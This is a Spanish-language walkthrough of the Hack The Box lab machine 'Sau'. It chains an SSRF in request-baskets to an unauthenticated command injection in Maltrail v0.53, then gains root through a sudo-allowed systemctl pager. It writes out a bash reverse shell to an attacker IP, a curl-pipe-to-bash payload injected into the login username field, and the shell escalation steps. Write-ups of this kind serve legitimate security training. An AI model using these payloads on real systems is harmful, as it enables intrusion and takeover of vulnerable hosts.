Descripción

Sau es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Falsificación de solicitudes del lado del servicio
  • Inyección de commandos
  • Elevación de privilegios mediante Systemctl

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.224.

$ ping -c 3 10.10.11.224
PING 10.10.11.224 (10.10.11.224) 56(84) bytes of data.
64 bytes from 10.10.11.224: icmp_seq=1 ttl=63 time=39.3 ms
64 bytes from 10.10.11.224: icmp_seq=2 ttl=63 time=39.7 ms
64 bytes from 10.10.11.224: icmp_seq=3 ttl=63 time=39.3 ms

--- 10.10.11.224 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 39.312/39.445/39.708/0.185 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.224 -sS -p- -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.224
Host is up (0.042s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 41.48 seconds

Obtenemos cuatro puertos abiertos, 22, 80, 8338, y 55555.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.224 -sV -sC -p22,80,8338,55555 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.224
Host is up (0.041s latency).

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)
|   256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)
|_  256 b30c47fba2f212ccce0b58820e504336 (ED25519)
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.44 seconds

Obtenemos cuatro servicios: Secure Shell (SSH), Hypertext Transfer Protocol (HTTP), y dos servicios desconocidos en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP en el puerto 55555, ya que los puertos 80 y 8338 están filtrados. Observamos en el navegador que el servicio alberga un sitio web cuya utilidad es trabajar como un almacenador e inspector de solicitudes HTTP, basado en el proyecto request-baskets, versión 1.2.1.

Explotación

El proyecto es vulnerable a la Falsificación de solicitudes del lado del servicio (SSRF), CVE-2023-27163. La vulnerabilidad permite a los atacantes acceder a los recursos de red y a información confidencial mediante una solicitud de API especial. Cuando creamos una nueva cesta tendremos un ID y un endpoint para enviar las solicitudes a ser guardadas en el almacenador, el endpoint /api/baskets/{id}. Seremos capaces de hacer solicitudes HTTP a un dominio arbitrario y recibir la respuesta de manera similar a un proxy. En la configuración de la cesta podemos especificar una URL avanzada (Forward URL), en este caso, con el puerto no accesible 80 HTTP y comprobar la opción de respuesta del proxy (Proxy Response). Luego podemos acceder a la URL y enviar la solicitud http://10.10.11.224:55555/{id}. Después de acceder al sitio web encontramos el servicio que se ejecuta en el sitio web en el puerto 80, Maltrail v0.53 Maltrail es un sistema de detección de tráfico malicioso y es vulnerable a una inyección de comandos no autenticados en las versiones inferiores a v0.54, por lo que es vulnerable. Podemos ver una prueba de concepto en Huntr. El comando se ejecutará en el endpoint /login con el parámetro username. Así que interceptamos la solicitud de request-baskets para elaborar la nuestra propia. Pero primero cambiaremos la URL de adelante en la configuración y abrimos un puerto de escucha para la terminal inversa que crearemos.

nc -nvlp 1234

Alojaremos el script de la consola inversa en nuestra máquina local y crearemos un servidor web en el que el archivo será descargado a la máquina y ejecutado.

$ echo "bash -i >& /dev/tcp/10.10.14.248/1234 0>&1" > sh.sh
$ python -m http.server

Finalmente mandamos la solicitud.

Datos a enviar:
username=;`curl http://10.10.14.248:8000/sh.sh | bash`

Recibimos una consola inversa por lo que la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.248] from (UNKNOWN) [10.10.11.224] 36912
bash: cannot set terminal process group (888): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
bash-5.1$ stty rows 48 columns 156
bash-5.1$ export TERM=xterm
bash-5.1$ export SHELL=bash

Post-Explotación

Chequeamos que el usuario conectado actualmente es puma.

bash-5.1$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

No hay más usuarios de consola aparte de puma y root, así que vamos a tratar de elevar nuestros privilegios.

puma@sau:/opt/maltrail$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
puma:x:1001:1001::/home/puma:/bin/bash

Podemos comprobar los comandos que el usuario puma puede ejecutar como root.

puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Vemos que el usuario puma puede comprobar con el comando systemctl el estado del servicio de trail. Con el comando systemctl podemos desplegar una terminal con el comando !sh mientras el comando se ejecuta (cuando se puede desplazar a través de su salida).

!sh
## bash
root@sau:/opt/maltrail# id
uid=0(root) gid=0(root) groups=0(root)

Finalmente, la terminal se despliega y tenemos los permisos de superadministrador.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

root@sau:/opt/maltrail# cat /home/puma/user.txt 
<REDACTED>
root@sau:/opt/maltrail# cat /root/root.txt
<REDACTED>